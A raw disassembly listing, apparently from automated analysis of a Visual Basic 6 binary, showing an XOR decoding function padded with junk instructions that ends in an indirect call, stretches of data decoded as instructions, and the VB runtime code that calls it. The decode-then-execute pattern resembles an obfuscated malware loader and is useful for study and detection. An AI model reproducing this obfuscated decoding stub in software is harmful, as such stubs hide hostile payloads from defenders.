Function at 0x407dad
Capabilities:
Encode data using xor

Disassembly:
cmp di, 0x471f
cmp eax, 0x4def6a67
mov eax, 0xdeb66e2b
test dx, 0xf785
cmp bx, 0x4d08
sub eax, 0xdcb581aa
cmp edi, 0x356b52f6
cmp edx, 0x21439dff
mov edi, 0x4029fc
cmp di, 0xe789
test bx, 0xe0f8
emms
test ebx, 0x7c7f9be0
inc esi
test eax, 0x2a0d8421
push dword [edi]
cmp edx, 0x2d1c1a51
pop ecx
cmp di, 0x67f4
movd xmm0, esi
cmp dx, 0x2fdd
movd xmm1, ecx
test eax, 0x8875045d
cmp edx, 0x7cb11a34
pxor xmm1, xmm0
cmp ebx, 0x447d7133
movd ecx, xmm1
cmp dx, 0x45cf
cmp ecx, eax
jne 0x406d3f
cmp edx, 0x2d89a7a7
test bx, 0xa63b
mov eax, 0xdc2871d9
cmp edx, 0xaff38c95
cmp eax, 0x45c386ed
sub eax, 0xdbe861d9
test dx, 0x2d35
cmp eax, 0xa31f3297
xor edx, edx
cmp eax, 0xc2dae8b5
test dx, 0x1f51
add edx, dword [eax]
cmp ax, 0x2151
cmp di, 0x36
push 0xf93737fb
cmp dx, 0x98f6
cmp di, 0xf6ca
pop eax
add eax, 0x7592252
test eax, 0xdeb4ebb8
test dx, 0x6a39
cmp ax, 0xcc67
test eax, 0xca60bcf7
dec edx
test eax, 0x1803600a
cmp eax, 0x23789b8c
dec edx
cmp edi, 0x55d5347f
cmp di, 0x4d5b
inc edx
cmp dx, 0xcef3
test edi, 0x7224c1fb
mov ebx, dword [edx]
test edx, 0xa2135470
cmp dx, 0x9bea
cmp ebx, eax
cld
cld
cld
cld
cld
cld
cld
jne 0x406de9
test eax, 0x778c3d9d
cmp ax, 0x87b4
mov cx, 0x10cc
test edx, 0x668937e1
test ax, 0xcfe
movzx ecx, cx
test ebx, 0xcac6633f
cmp eax, 0x473de4ae
push 0xd1b793bc
cmp bx, 0xe300
cmp dx, 0xac87
pop eax
add eax, 0x2e486c84
cmp dx, 0x5325
test ebx, 0xe3cf762e
push eax
cmp bx, 0x72a5
cmp edi, 0xa9c5ff7a
mov eax, 0xb344be72
cmp ebx, 0x18bbf511
test bx, 0x8c60
add eax, 0x4cbb518e
test ax, 0x99bc
cmp di, 0xc83e
push eax
test ebx, 0x1e275610
test eax, 0x1d49784b
mov eax, 0x965e2b6f
cmp edx, 0xb1cab248
test bx, 0xcd44
add eax, 0x69a25491
test edx, 0xc97f8868
cmp ebx, 0x2524b3dc
push eax
cmp dx, 0xf5d
test ax, 0xe348
push 0x503950c
cmp ebx, 0x719af1cf
test edi, 0x5a8bf7a4
pop eax
add eax, 0xfafc6af4
cmp di, 0x9466
test bx, 0x5ad0
push eax
test ax, 0x4e52
test ebx, 0x40b13d8
call dword [edx + ecx]
test eax, 0x642855d2
test edi, 0x2e2c864f
push 0x6aa53874
cmp ebx, 0xc94531ee
cmp eax, 0x9c214410
pop edx
add edx, 0x955ac78c
test bx, 0x40fe
test dx, 0x2455
push dword [edi + edx]
cmp ax, 0x8dfb
test bx, 0x7038
pop ebx
test edi, 0x3418f9ca
cmp edi, 0x622f6fe2
xor ebx, esi
test edi, 0xd719a950
test bx, 0xd9f9
add dword [eax + edx], ebx
cmp ebx, 0x951667c9
test ebx, 0x63d8fd75
add edx, 4
test eax, 0xffe26a22
cmp di, 0x5c24
cmp edx, 0x3cb0
jne 0x406f2e
test dx, 0x5567
test eax, 0x46fc4403
call eax
test bx, 0x2b12
cmp di, 0x861f
cld
pop esp
pop edx
cld
pop ebp
pop esi
cld
popal
pop edi
stc
wait
cdq
clc
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x6162fc89], cl
sti
pop ebp
pop ebp
sti
pop ebp
pop ebp
sti
pushal
pushal
sti
pop eax
push edi
sti
cmp bh, byte [eax]
cld
and byte [0xfd3b3efc], bl
test al, 0xa6
std
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov cl, byte [eax - 0x8cccb09]
adc dl, byte [edx]
test dword [0x7b7cf70c], 0xf9
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov eax, dword [0x5e61fa9e]
sti
std
std
xchg esi, eax
xchg esp, eax
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
test byte [ecx - 0x2979603], al
std
cld
push 0x5a5cfc67
cld
cmp dh, byte [edi]
cld
and byte [0xfc373afc], bl
cmpsd dword [esi], dword es:[edi]
movsd dword es:[edi], dword [esi]
std
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x5758fc91], dl
cld
xor al, 0x34
sti
sbb eax, 0x7e80f81c
clc
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi + 0x6063f59c], bl
imul dword [ebp + 0x6d]
cld
insd dword es:[edi], dx
insb byte es:[edi], dx
std
jns 0x4070e9
std
lea ecx, [eax - 0x37d7a04]
jb 0x4070ec
cld
insb byte es:[edi], dx
insb byte es:[edi], dx
std
insd dword es:[edi], dx
insd dword es:[edi], dx
std
outsd dx, dword [esi]
outsb dx, byte [esi]
std
popal
pop esi
std
cmp edi, dword [eax]
std
push ds
sbb edi, ebp
cmp dh, byte [edi]
cld
mov byte [0xfda0], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jnp 0x407121
cld
insd dword es:[edi], dx
insb byte es:[edi], dx
std
pop edx
pop edx
cld
cmp al, 0xf5
mov word [ecx + 0xf3], cs
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
wait
xchg edi, eax
int1
bound ebx, qword [edi - 0xe]
je 0x40714c
sti
jne 0x407150
cld
je 0x407152
std
jne 0x407154
std
jne 0x407158
std
je 0x40715b
std
jne 0x40715f
jne 0x4070e7
cld
jbe 0x407162
jne 0x4070ea
cld
arpl bx, di
cmp edi, dword [eax]
cli
push ds
sbb al, 0xfa
cmp esi, dword [edi]
cli
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi + 0x7677fc9d], bl
std
jne 0x40718d
std
jno 0x40718a
cli
pop ecx
push esi
out dx, al
xchg edi, eax
xchg esp, eax
out dx, al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x5c5eef97], bl
out dx, al
js 0x4071bc
sti
jle 0x4071c5
cld
jge 0x4071c7
std
jge 0x4071ca
jge 0x40714c
invalid
jge 0x4071cc
std
jle 0x4071d1
jle 0x407151
std
jge 0x4071d2
cli
push 0x68
aas
push 0xeb3d3ff3
and byte [0xf0373aea], bl
movsd dword es:[edi], dword [esi]
mov dword [0xf9], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x7f7d0257], ch
cld
jle 0x4071fe
cmp eax, 0xea1d20eb
cmp dh, byte [edi]
ljmp 0xf9a3:0xa5f0373a
invalid
std
jle 0x407201
std
ja 0x4071fc
clc
pop esp
pop edx
out 0x9b, eax
wait
cdq
call 0x407191
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x595bf0a2], ah
in eax, dx
jb 0x407222
stc
mov byte [eax - 0x2797903], cl
test dword [ebp - 0x2797a03], eax
std
xchg dword [esi - 0xd8b8904], eax
dec edx
inc esi
fld xword [ebx]
sub ch, cl
inc ebx
inc eax
fsub dword [edi + 0xf1a5]
cmpsd dword [esi], dword es:[edi]
movsd dword es:[edi], dword [esi]
int1
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov cl, 0xaf
cld
mov word [ebx - 0x2797804], cs
xchg byte [esi - 0x3777703], al
jo 0x407261
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx - 0x74730351], dh
cld
xchg dword [esi - 0x2797903], eax
mov byte [eax - 0xf908f04], cl
pop eax
push esi
frstor dword [ebx + 0xe7]
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x69], ch
int1
invalid
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
imul ebp, dword [ecx - 0xf], 0x64
invalid
std
invalid
fiadd word [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xchg esp, eax
xchg edx, eax
neg byte [ecx + ebx*2 - 8]
mov ecx, dword [edx - 0x25e5d04]
wait
wait
invalid
push ebp
mov ebp, esp
push ecx
push ecx
push 0x401156
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0xfc
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401138
push 0x401d6c
push 0x401d7c
call sub.MSVBVM60.DLL___vbaStrCat
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x5c], 8
mov dword [ebp - 0x94], 0x401d90
mov dword [ebp - 0x9c], 8
cmp dword [0x409010], 0
jne 0x407e2d
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xc0], 0x409010
jmp 0x407e37
mov dword [ebp - 0xc0], 0x409010
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x218]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x407e91
push 0x218
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xc4], eax
jmp 0x407e98
and dword [ebp - 0xc4], 0
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x5c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x9c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 2
push 0x401dc4
push dword [ebp - 0x4c]
lea eax, [ebp - 0x6c]
push eax
call sub.MSVBVM60.DLL___vbaLateMemCallLd
add esp, 0x30
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL___vbaVarSetVar
lea ecx, [ebp - 0x4c]
call sub.MSVBVM60.DLL___vbaFreeObj
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
mov dword [ebp - 0x84], 0x401dd0
mov dword [ebp - 0x8c], 8
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x8c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x401dfc
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemSt
mov dword [ebp - 0x84], 0x4b14
mov dword [ebp - 0x8c], 2
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x8c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x401e08
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemSt
mov dword [ebp - 0x84], 0x2de
mov dword [ebp - 0x8c], 2
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x8c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x401e14
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemSt
or dword [ebp - 0x84], 0xffffffff
mov dword [ebp - 0x8c], 0xb
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x8c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x401e20
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemSt
and dword [ebp - 0x84], 0
mov dword [ebp - 0x8c], 0x8008
push 0
push 0x401dfc
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemCallLd
add esp, 0x10
push eax
lea eax, [ebp - 0x8c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstEq
mov word [ebp - 0xb4], ax
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
movsx eax, word [ebp - 0xb4]
test eax, eax
je 0x408016
call fcn.00407dad
mov dword [ebp - 0x54], 0x80020004
mov dword [ebp - 0x5c], 0xa
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL_rtcFreeFile
mov word [ebp - 0x14], ax
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
mov dword [ebp - 0x84], 0x401e34
mov dword [ebp - 0x8c], 8
mov dword [ebp - 0x94], 1
mov dword [ebp - 0x9c], 0x8002
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x9c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstNe
movsx eax, ax
test eax, eax
je 0x408080
jmp 0x4088b6
mov dword [ebp - 0x54], 9
mov dword [ebp - 0x5c], 2
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x6c]
push eax
call sub.MSVBVM60.DLL_rtcOctVarFromVar
mov dword [ebp - 0x94], 0xb
mov dword [ebp - 0x9c], 0x8002
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x9c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstNe
mov word [ebp - 0xb4], ax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x5c]
push eax
push 2
call sub.MSVBVM60.DLL___vbaFreeVarList
add esp, 0xc
movsx eax, word [ebp - 0xb4]
test eax, eax
je 0x4080e8
jmp 0x4088b6
and dword [ebp - 0x84], 0
mov dword [ebp - 0x8c], 0x8008
push 0
push 0x401dfc
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemCallLd
add esp, 0x10
push eax
lea eax, [ebp - 0x8c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstEq
mov word [ebp - 0xb4], ax
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
movsx eax, word [ebp - 0xb4]
test eax, eax
je 0x40813c
call fcn.00407dad
mov dword [ebp - 0x54], 0x80020004
mov dword [ebp - 0x5c], 0xa
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL_rtcFreeFile
mov word [ebp - 0x14], ax
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
mov dword [ebp - 0x84], 0x401e34
mov dword [ebp - 0x8c], 8
mov dword [ebp - 0x94], 1
mov dword [ebp - 0x9c], 0x8002
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x9c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstNe
movsx eax, ax
test eax, eax
je 0x4081a6
jmp 0x4088b6
mov dword [ebp - 0x54], 9
mov dword [ebp - 0x5c], 2
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x6c]
push eax
call sub.MSVBVM60.DLL_rtcOctVarFromVar
mov dword [ebp - 0x94], 0xb
mov dword [ebp - 0x9c], 0x8002
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x9c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstNe
mov word [ebp - 0xb4], ax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x5c]
push eax
push 2
call sub.MSVBVM60.DLL___vbaFreeVarList
add esp, 0xc
movsx eax, word [ebp - 0xb4]
test eax, eax
je 0x40820e
jmp 0x4088b6
and dword [ebp - 0x84], 0
mov dword [ebp - 0x8c], 0x8008
push 0
push 0x401dfc
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL___vbaVarLateMemCallLd
add esp, 0x10
push eax
lea eax, [ebp - 0x8c]
push eax
call sub.MSVBVM60.DLL___vbaVarTstEq
mov word [ebp - 0xb4], ax
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
movsx eax, word [ebp - 0xb4]
test eax, eax
je 0x408262
call fcn.00407dad
mov dword [ebp - 0x54], 0x80020004
mov dword [ebp - 0x5c], 0xa
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL_rtcFreeFile
mov word [ebp - 0x14], ax
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
push 0x3c1523ee
call fcn.004078e4
cmp dword [0x409010], 0
jne 0x4082b3
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xc8], 0x409010
jmp 0x4082bd
mov dword [ebp - 0xc8], 0x409010
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x94], 0x80020004
mov dword [ebp - 0x9c], 0xa
mov dword [ebp - 0x84], 0x80020004
mov dword [ebp - 0x8c], 0xa
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x9c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x10
pop eax
call sub.MSVBVM60.DLL___vbaChkstk
lea esi, [ebp - 0x8c]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x2b0]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x408363
push 0x2b0
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xcc], eax
jmp 0x40836a
and dword [ebp - 0xcc], 0
cmp dword [0x409010], 0
jne 0x40838e
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xd0], 0x409010
jmp 0x408398
mov dword [ebp - 0xd0], 0x409010
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
push 0xf1
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x6c]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x4083ed
push 0x6c
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xd4], eax
jmp 0x4083f4
and dword [ebp - 0xd4], 0
cmp dword [0x409010], 0
jne 0x408418
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xd8], 0x409010
jmp 0x408422
mov dword [ebp - 0xd8], 0x409010
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x220]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x40847c
push 0x220
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xdc], eax
jmp 0x408483
and dword [ebp - 0xdc], 0
push 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x5c]
push eax
call sub.MSVBVM60.DLL___vbaLateIdCallLd
add esp, 0x10
push eax
call sub.MSVBVM60.DLL___vbaI4Var
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x4c]
call sub.MSVBVM60.DLL___vbaFreeObj
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeVar
cmp dword [0x409010], 0
jne 0x4084d3
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xe0], 0x409010
jmp 0x4084dd
mov dword [ebp - 0xe0], 0x409010
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
fld1
push ecx
fstp dword [esp]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0xf4]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x408539
push 0xf4
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xe4], eax
jmp 0x408540
and dword [ebp - 0xe4], 0
cmp dword [0x409010], 0
jne 0x408564
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xe8], 0x409010
jmp 0x40856e
mov dword [ebp - 0xe8], 0x409010
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0xc4]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x4085c6
push 0xc4
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xec], eax
jmp 0x4085cd
and dword [ebp - 0xec], 0
cmp dword [0x409010], 0
jne 0x4085f1
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xf0], 0x409010
jmp 0x4085fb
mov dword [ebp - 0xf0], 0x409010
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x260]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x408658
push 0x260
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xf4], eax
jmp 0x40865f
and dword [ebp - 0xf4], 0
movsx eax, word [ebp - 0xb0]
mov dword [ebp - 0x1c], eax
cmp dword [0x409010], 0
jne 0x40868d
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0xf8], 0x409010
jmp 0x408697
mov dword [ebp - 0xf8], 0x409010
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0xb0]
push eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x278]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x4086f4
push 0x278
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0xfc], eax
jmp 0x4086fb
and dword [ebp - 0xfc], 0
movsx eax, word [ebp - 0xb0]
mov dword [ebp - 0x20], eax
cmp dword [0x409010], 0
jne 0x408729
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0x100], 0x409010
jmp 0x408733
mov dword [ebp - 0x100], 0x409010
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
push 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x134]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x40878b
push 0x134
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0x104], eax
jmp 0x408792
and dword [ebp - 0x104], 0
cmp dword [0x409010], 0
jne 0x4087b6
push 0x409010
push 0x401694
call sub.MSVBVM60.DLL___vbaNew2
mov dword [ebp - 0x108], 0x409010
jmp 0x4087c0
mov dword [ebp - 0x108], 0x409010
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
push dword [ebp - 0xb4]
call dword [eax + 0x2b4]
fnclex
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jge 0x408816
push 0x2b4
push 0x401b3c
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov dword [ebp - 0x10c], eax
jmp 0x40881d
and dword [ebp - 0x10c], 0
mov dword [0x409024], 0x3ee3b1
push 2
jmp 0x406d06
wait
push 0x408901
jmp 0x4088dd
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x30]
call sub.MSVBVM60.DLL___vbaFreeVar
lea eax, [ebp - 0x34]
push eax
push 0
call sub.MSVBVM60.DLL___vbaAryDestruct
lea ecx, [ebp - 0x44]
call sub.MSVBVM60.DLL___vbaFreeVar
ret